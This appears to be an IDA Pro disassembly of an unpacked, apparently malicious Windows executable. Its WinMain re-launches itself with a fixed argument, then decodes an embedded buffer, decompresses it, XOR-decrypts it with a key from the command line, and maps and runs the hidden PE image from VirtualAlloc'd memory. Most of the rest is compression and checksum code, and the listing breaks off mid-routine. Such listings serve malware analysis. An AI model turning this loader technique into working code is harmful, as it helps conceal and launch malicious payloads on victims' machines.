; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : F653A380DD679D64056E5C449CD4A21C ; File Name : u:\work\f653a380dd679d64056e5c449cd4a21c_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 600000 ; Section 1. (virtual address 00001000) ; Virtual size : 00007DA4 ( 32164.) ; Section size in file : 00007DA4 ( 32164.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 601000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_601000 proc near ; CODE XREF: WinMain(x,x,x,x)+FEp ; WinMain(x,x,x,x)+10Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_60101C mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_4] sub eax, ecx loc_601013: ; CODE XREF: sub_601000+1Aj mov dl, [eax+ecx] mov [ecx], dl inc ecx dec esi jnz short loc_601013 loc_60101C: ; CODE XREF: sub_601000+7j xor eax, eax pop esi retn sub_601000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+186p var_120 = byte ptr -120h var_58 = byte ptr -58h Dst = dword ptr -48h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_4 = dword ptr -4 hInstance = dword ptr 8 hPrevInstance = dword ptr 0Ch Str = dword ptr 10h nShowCmd = dword ptr 14h push ebp mov ebp, esp sub esp, 120h push esi mov esi, dword_612830 push edi push [ebp+Str] ; Str lea eax, [esi+esi*4] shl eax, 1 mov [ebp+var_4], eax call _strlen cmp eax, 2 pop ecx jnb short loc_6010A5 push 44h pop edi push edi ; Size xor esi, esi lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch push 0C8h lea eax, [ebp+var_120] push eax push esi mov [ebp+Dst], edi mov [ebp+var_1C], 1 mov [ebp+var_18], 5 call ds:dword_609014 ; GetModuleFileNameA lea eax, [ebp+var_58] push eax lea eax, [ebp+Dst] push eax push esi push esi push esi push esi push esi push esi push offset a29516 ; " 29516" lea eax, [ebp+var_120] push eax call ds:dword_609010 ; CreateProcessA pop edi xor eax, eax pop esi leave retn 10h ; --------------------------------------------------------------------------- loc_6010A5: ; CODE XREF: WinMain(x,x,x,x)+25j push [ebp+var_4] push 8 call ds:dword_60900C ; GetProcessHeap push eax call ds:dword_609008 ; RtlAllocateHeap mov edi, eax xor eax, eax test esi, esi jbe short loc_6010CA loc_6010BF: ; CODE XREF: WinMain(x,x,x,x)+A8j not byte_60E030[eax] inc eax cmp eax, esi jb short loc_6010BF loc_6010CA: ; CODE XREF: WinMain(x,x,x,x)+9Dj push esi push offset byte_60E030 lea eax, [ebp+var_4] push eax push edi call sub_60510C push [ebp+Str] ; Str call _atol add esp, 14h xor ecx, ecx test [ebp+var_4], 0FFFFFFFEh jbe short loc_6010FE loc_6010F0: ; CODE XREF: WinMain(x,x,x,x)+DCj xor [edi+ecx*2], ax mov edx, [ebp+var_4] inc ecx shr edx, 1 cmp ecx, edx jb short loc_6010F0 loc_6010FE: ; CODE XREF: WinMain(x,x,x,x)+CEj mov esi, [edi+3Ch] push ebx push 40h push 3000h add esi, edi push dword ptr [esi+50h] mov eax, [esi+34h] push eax call ds:dword_609004 ; VirtualAlloc push 40h mov ebx, eax push edi push ebx call sub_601000 mov eax, [edi+3Ch] push 0F8h add eax, ebx push esi push eax call sub_601000 movzx eax, word ptr [esi+14h] and [ebp+Str], 0 add esp, 18h cmp word ptr [esi+6], 0 lea eax, [eax+esi+18h] jbe short loc_601174 lea ebx, [eax+14h] loc_60114D: ; CODE XREF: WinMain(x,x,x,x)+151j push dword ptr [ebx-4] mov eax, [ebx] add eax, edi push eax mov eax, [ebx-8] add eax, [esi+34h] push eax call sub_601000 movzx eax, word ptr [esi+6] add esp, 0Ch inc [ebp+Str] add ebx, 28h cmp [ebp+Str], eax jl short loc_60114D pop ebx loc_601174: ; CODE XREF: WinMain(x,x,x,x)+128j mov eax, [esi+28h] add eax, [esi+34h] call eax push 0 call ds:dword_609000 ; ExitProcess int 3 ; Trap to Debugger loc_601185: ; CODE XREF: sub_60182C+D6p ; sub_6026FA+168p ... push ebp mov ebp, esp push ebx mov ebx, [ebp+Str] push esi mov esi, [ebp+hInstance] push edi xor eax, eax mov edi, esi inc eax shr edi, 10h and esi, 0FFFFh cmp ebx, eax jnz short loc_6011C7 mov eax, [ebp+hPrevInstance] movzx eax, byte ptr [eax] add esi, eax mov eax, 0FFF1h cmp esi, eax jb short loc_6011B6 sub esi, eax loc_6011B6: ; CODE XREF: WinMain(x,x,x,x)+192j add edi, esi cmp edi, eax jb loc_60139A sub edi, eax jmp loc_60139A ; --------------------------------------------------------------------------- loc_6011C7: ; CODE XREF: WinMain(x,x,x,x)+181j mov ecx, [ebp+hPrevInstance] test ecx, ecx jz loc_6013A1 cmp ebx, 10h jnb short loc_6011FE test ebx, ebx jz short loc_6011E6 loc_6011DB: ; CODE XREF: WinMain(x,x,x,x)+1C4j movzx eax, byte ptr [ecx] add esi, eax inc ecx add edi, esi dec ebx jnz short loc_6011DB loc_6011E6: ; CODE XREF: WinMain(x,x,x,x)+1B9j mov ecx, 0FFF1h cmp esi, ecx jb short loc_6011F1 sub esi, ecx loc_6011F1: ; CODE XREF: WinMain(x,x,x,x)+1CDj mov eax, edi xor edx, edx div ecx mov eax, edx jmp loc_60139C ; --------------------------------------------------------------------------- loc_6011FE: ; CODE XREF: WinMain(x,x,x,x)+1B5j cmp ebx, 15B0h jb loc_6012D2 mov eax, ebx mov ebx, 15B0h xor edx, edx div ebx mov ebx, [ebp+Str] mov [ebp+hInstance], eax loc_60121B: ; CODE XREF: WinMain(x,x,x,x)+2ACj sub ebx, 15B0h mov eax, 15Bh loc_601226: ; CODE XREF: WinMain(x,x,x,x)+289j movzx edx, byte ptr [ecx] add esi, edx movzx edx, byte ptr [ecx+1] add edi, esi add esi, edx movzx edx, byte ptr [ecx+2] add edi, esi add esi, edx movzx edx, byte ptr [ecx+3] add edi, esi add esi, edx movzx edx, byte ptr [ecx+4] add edi, esi add esi, edx movzx edx, byte ptr [ecx+5] add edi, esi add esi, edx movzx edx, byte ptr [ecx+6] add edi, esi add esi, edx movzx edx, byte ptr [ecx+7] add edi, esi add esi, edx movzx edx, byte ptr [ecx+8] add edi, esi add esi, edx movzx edx, byte ptr [ecx+9] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Ah] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Bh] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Ch] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Dh] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Eh] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Fh] add edi, esi add esi, edx add edi, esi add ecx, 10h dec eax jnz loc_601226 mov eax, esi xor edx, edx mov esi, 0FFF1h div esi mov eax, edi mov edi, 0FFF1h mov esi, edx xor edx, edx div edi dec [ebp+hInstance] mov edi, edx jnz loc_60121B loc_6012D2: ; CODE XREF: WinMain(x,x,x,x)+1E4j test ebx, ebx jz loc_60139A cmp ebx, 10h jb loc_601374 mov eax, ebx shr eax, 4 loc_6012E8: ; CODE XREF: WinMain(x,x,x,x)+34Ej movzx edx, byte ptr [ecx] add esi, edx movzx edx, byte ptr [ecx+1] add edi, esi add esi, edx movzx edx, byte ptr [ecx+2] add edi, esi add esi, edx movzx edx, byte ptr [ecx+3] add edi, esi add esi, edx movzx edx, byte ptr [ecx+4] add edi, esi add esi, edx movzx edx, byte ptr [ecx+5] add edi, esi add esi, edx movzx edx, byte ptr [ecx+6] add edi, esi add esi, edx movzx edx, byte ptr [ecx+7] add edi, esi add esi, edx movzx edx, byte ptr [ecx+8] add edi, esi add esi, edx movzx edx, byte ptr [ecx+9] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Ah] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Bh] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Ch] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Dh] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Eh] add edi, esi add esi, edx movzx edx, byte ptr [ecx+0Fh] add edi, esi add esi, edx sub ebx, 10h add edi, esi add ecx, 10h dec eax jnz loc_6012E8 loc_601374: ; CODE XREF: WinMain(x,x,x,x)+2BDj test ebx, ebx jz short loc_601383 loc_601378: ; CODE XREF: WinMain(x,x,x,x)+361j movzx eax, byte ptr [ecx] add esi, eax inc ecx add edi, esi dec ebx jnz short loc_601378 loc_601383: ; CODE XREF: WinMain(x,x,x,x)+356j mov eax, esi mov ecx, 0FFF1h xor edx, edx mov esi, ecx div esi mov eax, edi mov esi, edx xor edx, edx div ecx mov edi, edx loc_60139A: ; CODE XREF: WinMain(x,x,x,x)+19Aj ; WinMain(x,x,x,x)+1A2j ... mov eax, edi loc_60139C: ; CODE XREF: WinMain(x,x,x,x)+1D9j shl eax, 10h or eax, esi loc_6013A1: ; CODE XREF: WinMain(x,x,x,x)+1ACj pop edi pop esi pop ebx pop ebp retn _WinMain@16 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6013A6 proc near ; CODE XREF: sub_6015F3+13p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi not eax mov edx, 0FFh jz short loc_6013D8 loc_6013BB: ; CODE XREF: sub_6013A6+30j test cl, 3 jz short loc_6013D8 xor ebx, ebx mov bl, [ecx] xor ebx, eax and ebx, edx shr eax, 8 xor eax, ds:dword_6090D8[ebx*4] inc ecx dec [ebp+arg_0] jnz short loc_6013BB loc_6013D8: ; CODE XREF: sub_6013A6+13j ; sub_6013A6+18j cmp [ebp+arg_0], 20h push 4 mov esi, ecx pop edi jb loc_601585 mov ecx, [ebp+arg_0] shr ecx, 5 mov [ebp+var_8], ecx loc_6013F0: ; CODE XREF: sub_6013A6+1D9j xor eax, [esi] add esi, edi mov [ebp+var_4], eax movzx ecx, byte ptr [ebp+var_4+2] mov ecx, ds:dword_6094D8[ecx*4] movzx ebx, ah xor ecx, ds:dword_6098D8[ebx*4] mov ebx, eax shr ebx, 18h xor ecx, ds:dword_6090D8[ebx*4] and eax, edx xor ecx, ds:dword_609CD8[eax*4] xor ecx, [esi] add esi, edi mov [ebp+var_4], ecx movzx eax, byte ptr [ebp+var_4+2] mov eax, ds:dword_6094D8[eax*4] movzx ebx, ch xor eax, ds:dword_6098D8[ebx*4] mov ebx, ecx shr ebx, 18h xor eax, ds:dword_6090D8[ebx*4] and ecx, edx xor eax, ds:dword_609CD8[ecx*4] xor eax, [esi] add esi, edi mov [ebp+var_4], eax movzx ecx, byte ptr [ebp+var_4+2] mov ecx, ds:dword_6094D8[ecx*4] movzx ebx, ah xor ecx, ds:dword_6098D8[ebx*4] mov ebx, eax shr ebx, 18h xor ecx, ds:dword_6090D8[ebx*4] and eax, edx xor ecx, ds:dword_609CD8[eax*4] xor ecx, [esi] add esi, edi mov [ebp+var_4], ecx movzx eax, byte ptr [ebp+var_4+2] mov eax, ds:dword_6094D8[eax*4] movzx ebx, ch xor eax, ds:dword_6098D8[ebx*4] mov ebx, ecx shr ebx, 18h xor eax, ds:dword_6090D8[ebx*4] and ecx, edx xor eax, ds:dword_609CD8[ecx*4] xor eax, [esi] add esi, edi mov [ebp+var_4], eax movzx ecx, byte ptr [ebp+var_4+2] mov ecx, ds:dword_6094D8[ecx*4] movzx ebx, ah xor ecx, ds:dword_6098D8[ebx*4] mov ebx, eax shr ebx, 18h xor ecx, ds:dword_6090D8[ebx*4] and eax, edx xor ecx, ds:dword_609CD8[eax*4] xor ecx, [esi] add esi, edi mov [ebp+var_4], ecx movzx eax, byte ptr [ebp+var_4+2] mov eax, ds:dword_6094D8[eax*4] movzx ebx, ch xor eax, ds:dword_6098D8[ebx*4] mov ebx, ecx shr ebx, 18h xor eax, ds:dword_6090D8[ebx*4] and ecx, edx xor eax, ds:dword_609CD8[ecx*4] xor eax, [esi] add esi, edi mov [ebp+var_4], eax movzx ecx, byte ptr [ebp+var_4+2] mov ecx, ds:dword_6094D8[ecx*4] movzx ebx, ah xor ecx, ds:dword_6098D8[ebx*4] mov ebx, eax shr ebx, 18h xor ecx, ds:dword_6090D8[ebx*4] sub [ebp+arg_0], 20h and eax, edx xor ecx, ds:dword_609CD8[eax*4] xor ecx, [esi] add esi, edi mov [ebp+var_4], ecx movzx eax, byte ptr [ebp+var_4+2] mov eax, ds:dword_6094D8[eax*4] movzx ebx, ch xor eax, ds:dword_6098D8[ebx*4] mov ebx, ecx shr ebx, 18h xor eax, ds:dword_6090D8[ebx*4] and ecx, edx xor eax, ds:dword_609CD8[ecx*4] dec [ebp+var_8] jnz loc_6013F0 loc_601585: ; CODE XREF: sub_6013A6+3Bj cmp [ebp+arg_0], edi jb short loc_6015CE mov ecx, [ebp+arg_0] shr ecx, 2 mov [ebp+var_8], ecx loc_601593: ; CODE XREF: sub_6013A6+226j xor eax, [esi] sub [ebp+arg_0], edi mov [ebp+var_4], eax movzx ecx, byte ptr [ebp+var_4+2] mov ecx, ds:dword_6094D8[ecx*4] movzx ebx, ah xor ecx, ds:dword_6098D8[ebx*4] mov ebx, eax shr ebx, 18h xor ecx, ds:dword_6090D8[ebx*4] and eax, edx xor ecx, ds:dword_609CD8[eax*4] add esi, edi dec [ebp+var_8] mov eax, ecx jnz short loc_601593 loc_6015CE: ; CODE XREF: sub_6013A6+1E2j cmp [ebp+arg_0], 0 jz short loc_6015EC loc_6015D4: ; CODE XREF: sub_6013A6+244j xor ecx, ecx mov cl, [esi] xor ecx, eax and ecx, edx shr eax, 8 xor eax, ds:dword_6090D8[ecx*4] inc esi dec [ebp+arg_0] jnz short loc_6015D4 loc_6015EC: ; CODE XREF: sub_6013A6+22Cj pop edi pop esi not eax pop ebx leave retn sub_6013A6 endp ; =============== S U B R O U T I N E ======================================= sub_6015F3 proc near ; CODE XREF: sub_60182C+E8p ; sub_6026FA+C1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_4] test ecx, ecx jnz short loc_6015FE xor eax, eax retn ; --------------------------------------------------------------------------- loc_6015FE: ; CODE XREF: sub_6015F3+6j push [esp+arg_8] mov eax, [esp+4+arg_0] call sub_6013A6 pop ecx retn sub_6015F3 endp ; =============== S U B R O U T I N E ======================================= sub_60160D proc near ; CODE XREF: sub_60197B+74p ; sub_60197B+B5p ... push esi mov esi, eax mov eax, [esi+1Ch] mov ecx, [esi+10h] push edi mov edi, [eax+14h] cmp edi, ecx jbe short loc_601620 mov edi, ecx loc_601620: ; CODE XREF: sub_60160D+Fj test edi, edi jz short loc_601657 push edi ; Size push dword ptr [eax+10h] ; Src push dword ptr [esi+0Ch] ; Dst call _memcpy mov eax, [esi+1Ch] add [esi+0Ch], edi add [eax+10h], edi add [esi+14h], edi sub [esi+10h], edi mov eax, [esi+1Ch] sub [eax+14h], edi mov esi, [esi+1Ch] add esp, 0Ch cmp dword ptr [esi+14h], 0 jnz short loc_601657 mov eax, [esi+8] mov [esi+10h], eax loc_601657: ; CODE XREF: sub_60160D+15j ; sub_60160D+42j pop edi pop esi retn sub_60160D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60165A proc near ; CODE XREF: .text:00601B4Cp ; .text:00601E5Bp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, [ecx+7Ch] mov edx, [ecx+38h] mov [ebp+var_8], eax mov eax, [ecx+90h] push ebx push esi mov esi, [ecx+6Ch] mov [ebp+var_C], eax mov eax, [ecx+2Ch] lea ebx, [eax-106h] add edx, esi cmp esi, ebx push edi mov edi, [ecx+78h] jbe short loc_601697 sub esi, eax add esi, 106h mov [ebp+var_10], esi jmp short loc_60169B ; --------------------------------------------------------------------------- loc_601697: ; CODE XREF: sub_60165A+2Ej and [ebp+var_10], 0 loc_60169B: ; CODE XREF: sub_60165A+3Bj cmp edi, [ecx+8Ch] lea eax, [edx+102h] mov [ebp+var_14], eax mov al, [edi+edx-1] mov [ebp+var_1], al mov al, [edi+edx] mov [ebp+var_2], al jb short loc_6016BD shr [ebp+var_8], 2 loc_6016BD: ; CODE XREF: sub_60165A+5Dj mov eax, [ecx+74h] cmp [ebp+var_C], eax mov [ebp+var_18], eax jbe short loc_6016CB mov [ebp+var_C], eax loc_6016CB: ; CODE XREF: sub_60165A+6Cj mov eax, [ebp+arg_0] loc_6016CE: ; CODE XREF: sub_60165A+134j mov esi, [ecx+38h] add esi, eax mov al, [ebp+var_2] cmp [esi+edi], al jnz loc_601776 mov al, [ebp+var_1] cmp [esi+edi-1], al jnz loc_601776 mov al, [esi] cmp al, [edx] jnz loc_601776 inc esi mov al, [esi] cmp al, [edx+1] jnz short loc_601776 mov ebx, [ebp+var_14] inc edx inc edx inc esi loc_601704: ; CODE XREF: sub_60165A+ECj inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_601748 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_601748 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_601748 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_601748 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_601748 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_601748 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_601748 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_601748 cmp edx, ebx jb short loc_601704 loc_601748: ; CODE XREF: sub_60165A+B0j ; sub_60165A+B8j ... mov eax, edx sub eax, ebx add eax, 102h cmp eax, edi lea edx, [ebx-102h] jle short loc_601776 cmp eax, [ebp+var_C] mov esi, [ebp+arg_0] mov [ecx+70h], esi mov edi, eax jge short loc_601794 lea esi, [eax+edx] mov al, [esi-1] mov [ebp+var_1], al mov al, [esi] mov [ebp+var_2], al loc_601776: ; CODE XREF: sub_60165A+7Fj ; sub_60165A+8Cj ... mov esi, [ecx+34h] and esi, [ebp+arg_0] mov eax, [ecx+40h] movzx eax, word ptr [eax+esi*2] cmp eax, [ebp+var_10] mov [ebp+arg_0], eax jbe short loc_601794 dec [ebp+var_8] jnz loc_6016CE loc_601794: ; CODE XREF: sub_60165A+10Cj ; sub_60165A+12Fj mov eax, [ebp+var_18] cmp edi, eax ja short loc_60179D mov eax, edi loc_60179D: ; CODE XREF: sub_60165A+13Fj pop edi pop esi pop ebx leave retn sub_60165A endp ; =============== S U B R O U T I N E ======================================= sub_6017A2 proc near ; CODE XREF: .text:00601B61p ; .text:00601E73p push ebx push esi mov esi, eax mov ecx, [esi+38h] mov eax, [esi+6Ch] add eax, ecx add ecx, edi mov bl, [ecx] cmp bl, [eax] lea edx, [eax+102h] jnz short loc_601826 mov bl, [ecx+1] cmp bl, [eax+1] jnz short loc_601826 inc eax inc eax inc ecx inc ecx loc_6017C8: ; CODE XREF: sub_6017A2+68j inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_60180C inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_60180C inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_60180C inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_60180C inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_60180C inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_60180C inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_60180C inc eax mov bl, [eax] inc ecx cmp bl, [ecx] jnz short loc_60180C cmp eax, edx jb short loc_6017C8 loc_60180C: ; CODE XREF: sub_6017A2+2Cj ; sub_6017A2+34j ... sub eax, edx add eax, 102h cmp eax, 3 jl short loc_601826 mov [esi+70h], edi mov esi, [esi+74h] cmp eax, esi jbe short loc_601829 mov eax, esi jmp short loc_601829 ; --------------------------------------------------------------------------- loc_601826: ; CODE XREF: sub_6017A2+18j ; sub_6017A2+20j ... push 2 pop eax loc_601829: ; CODE XREF: sub_6017A2+7Ej ; sub_6017A2+82j pop esi pop ebx retn sub_6017A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60182C proc near ; CODE XREF: sub_60197B+24p ; .text:00601AB9p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 Size = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, [esi+2Ch] push edi loc_601837: ; CODE XREF: sub_60182C+145j mov edi, [esi+3Ch] sub edi, [esi+74h] mov eax, [esi+6Ch] mov ecx, [esi+2Ch] sub edi, eax lea ecx, [ebx+ecx-106h] cmp eax, ecx mov [ebp+var_8], edi jb short loc_6018B9 mov eax, [esi+38h] push ebx ; Size lea ecx, [eax+ebx] push ecx ; Src push eax ; Dst call _memcpy mov eax, [esi+4Ch] mov ecx, [esi+44h] sub [esi+70h], ebx sub [esi+6Ch], ebx add esp, 0Ch sub [esi+5Ch], ebx mov [ebp+Size], eax lea eax, [ecx+eax*2] loc_601879: ; CODE XREF: sub_60182C+64j dec eax dec eax movzx ecx, word ptr [eax] mov edx, ecx sub edx, ebx cmp ecx, ebx sbb ecx, ecx not ecx and ecx, edx dec [ebp+Size] mov [eax], cx jnz short loc_601879 mov eax, [esi+40h] mov [ebp+Size], ebx lea eax, [eax+ebx*2] loc_60189B: ; CODE XREF: sub_60182C+86j dec eax dec eax movzx ecx, word ptr [eax] mov edx, ecx sub edx, ebx cmp ecx, ebx sbb ecx, ecx not ecx and ecx, edx dec [ebp+Size] mov [eax], cx jnz short loc_60189B add edi, ebx mov [ebp+var_8], edi loc_6018B9: ; CODE XREF: sub_60182C+25j mov edi, [esi] cmp dword ptr [edi+4], 0 jz loc_601977 mov eax, [esi+74h] add eax, [esi+6Ch] mov ecx, [edi+4] add eax, [esi+38h] mov edx, [ebp+var_8] cmp ecx, edx mov [ebp+var_C], eax mov [ebp+Size], ecx jbe short loc_6018E1 mov [ebp+Size], edx loc_6018E1: ; CODE XREF: sub_60182C+B0j mov edx, [ebp+Size] test edx, edx jnz short loc_6018EC xor eax, eax jmp short loc_601938 ; --------------------------------------------------------------------------- loc_6018EC: ; CODE XREF: sub_60182C+BAj sub ecx, edx mov [edi+4], ecx mov ecx, [edi+1Ch] mov ecx, [ecx+18h] cmp ecx, 1 jnz short loc_601909 push edx push dword ptr [edi] push dword ptr [edi+30h] call loc_601185 jmp short loc_601919 ; --------------------------------------------------------------------------- loc_601909: ; CODE XREF: sub_60182C+CEj cmp ecx, 2 jnz short loc_601922 push edx push dword ptr [edi] push dword ptr [edi+30h] call sub_6015F3 loc_601919: ; CODE XREF: sub_60182C+DBj mov [edi+30h], eax mov eax, [ebp+var_C] add esp, 0Ch loc_601922: ; CODE XREF: sub_60182C+E0j push [ebp+Size] ; Size push dword ptr [edi] ; Src push eax ; Dst call _memcpy mov eax, [ebp+Size] add [edi], eax add esp, 0Ch add [edi+8], eax loc_601938: ; CODE XREF: sub_60182C+BEj add [esi+74h], eax mov edi, [esi+74h] cmp edi, 3 jb short loc_601963 mov eax, [esi+6Ch] mov ecx, [esi+38h] lea edx, [eax+ecx] movzx eax, byte ptr [edx] mov ecx, [esi+58h] mov [esi+48h], eax shl eax, cl movzx ecx, byte ptr [edx+1] xor eax, ecx and eax, [esi+54h] mov [esi+48h], eax loc_601963: ; CODE XREF: sub_60182C+115j cmp edi, 106h jnb short loc_601977 mov eax, [esi] cmp dword ptr [eax+4], 0 jnz loc_601837 loc_601977: ; CODE XREF: sub_60182C+93j ; sub_60182C+13Dj pop edi pop ebx leave retn sub_60182C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60197B proc near ; DATA XREF: .rdata:0060B118o arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] mov ecx, [esi+0Ch] mov eax, 0FFFFh add ecx, 0FFFFFFFBh cmp ecx, eax push edi mov ebx, eax jnb short loc_601995 mov ebx, ecx loc_601995: ; CODE XREF: sub_60197B+16j xor edi, edi loc_601997: ; CODE XREF: sub_60197B+92j ; sub_60197B+BFj mov eax, [esi+74h] cmp eax, 1 ja short loc_6019AF call sub_60182C mov eax, [esi+74h] cmp eax, edi jz loc_601A46 loc_6019AF: ; CODE XREF: sub_60197B+22j add [esi+6Ch], eax mov edx, [esi+5Ch] mov ecx, [esi+6Ch] mov [esi+74h], edi lea eax, [edx+ebx] jz short loc_6019C4 cmp ecx, eax jb short loc_6019FB loc_6019C4: ; CODE XREF: sub_60197B+43j sub ecx, eax cmp edx, edi mov [esi+74h], ecx mov [esi+6Ch], eax jl short loc_6019D7 mov ecx, [esi+38h] add ecx, edx jmp short loc_6019D9 ; --------------------------------------------------------------------------- loc_6019D7: ; CODE XREF: sub_60197B+53j xor ecx, ecx loc_6019D9: ; CODE XREF: sub_60197B+5Aj push edi sub eax, edx push eax push ecx push esi call sub_604F24 mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] add esp, 10h call sub_60160D mov eax, [esi] cmp [eax+10h], edi jz short loc_601A40 loc_6019FB: ; CODE XREF: sub_60197B+47j mov ecx, [esi+5Ch] mov edx, [esi+6Ch] mov eax, [esi+2Ch] sub edx, ecx sub eax, 106h cmp edx, eax jb short loc_601997 cmp ecx, edi jl short loc_601A1A mov eax, [esi+38h] add eax, ecx jmp short loc_601A1C ; --------------------------------------------------------------------------- loc_601A1A: ; CODE XREF: sub_60197B+96j xor eax, eax loc_601A1C: ; CODE XREF: sub_60197B+9Dj push edi push edx push eax push esi call sub_604F24 mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] add esp, 10h call sub_60160D mov eax, [esi] cmp [eax+10h], edi jnz loc_601997 loc_601A40: ; CODE XREF: sub_60197B+7Ej ; sub_60197B+D1j ... xor eax, eax loc_601A42: ; CODE XREF: sub_60197B+118j ; sub_60197B+126j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_601A46: ; CODE XREF: sub_60197B+2Ej mov ebx, [esp+0Ch+arg_4] cmp ebx, edi jz short loc_601A40 mov ecx, [esi+5Ch] cmp ecx, edi jl short loc_601A5C mov eax, [esi+38h] add eax, ecx jmp short loc_601A5E ; --------------------------------------------------------------------------- loc_601A5C: ; CODE XREF: sub_60197B+D8j xor eax, eax loc_601A5E: ; CODE XREF: sub_60197B+DFj xor edx, edx cmp ebx, 4 setz dl push edx mov edx, [esi+6Ch] sub edx, ecx push edx push eax push esi call sub_604F24 add esp, 10h mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] call sub_60160D mov eax, [esi] cmp [eax+10h], edi jnz short loc_601A95 cmp ebx, 4 jnz short loc_601A40 push 2 pop eax jmp short loc_601A42 ; --------------------------------------------------------------------------- loc_601A95: ; CODE XREF: sub_60197B+10Ej xor eax, eax cmp ebx, 4 setz al lea eax, [eax+eax+1] jmp short loc_601A42 sub_60197B endp ; --------------------------------------------------------------------------- push ebx push ebp push esi mov esi, [esp+10h] push edi xor edi, edi mov ebx, 106h loc_601AB2: ; CODE XREF: .text:00601CE9j ; .text:00601D24j mov eax, [esi+74h] cmp eax, ebx jnb short loc_601AD8 call sub_60182C mov eax, [esi+74h] cmp eax, ebx jnb short loc_601AD0 cmp dword ptr [esp+18h], 0 jz loc_601D2A loc_601AD0: ; CODE XREF: .text:00601AC3j test eax, eax jz loc_601D31 loc_601AD8: ; CODE XREF: .text:00601AB7j push 3 pop ebp cmp eax, ebp jb short loc_601B28 mov eax, [esi+48h] mov ecx, [esi+58h] mov edx, [esi+6Ch] mov edi, [esi+34h] shl eax, cl mov ecx, [esi+38h] movzx ecx, byte ptr [ecx+edx+2] xor eax, ecx and eax, [esi+54h] mov ecx, [esi+44h] mov [esi+48h], eax mov ax, [ecx+eax*2] and edi, edx mov edx, [esi+40h] mov [edx+edi*2], ax mov eax, [esi+6Ch] and eax, [esi+34h] mov ecx, [esi+40h] movzx edi, word ptr [ecx+eax*2] mov eax, [esi+48h] mov ecx, [esi+44h] mov dx, [esi+6Ch] mov [ecx+eax*2], dx loc_601B28: ; CODE XREF: .text:00601ADDj test edi, edi jz short loc_601B69 mov eax, [esi+6Ch] mov ecx, [esi+2Ch] sub eax, edi sub ecx, ebx cmp eax, ecx ja short loc_601B69 mov ecx, [esi+88h] cmp ecx, 2 jz short loc_601B56 cmp ecx, ebp jz short loc_601B5A push edi mov ecx, esi call sub_60165A add esp, 4 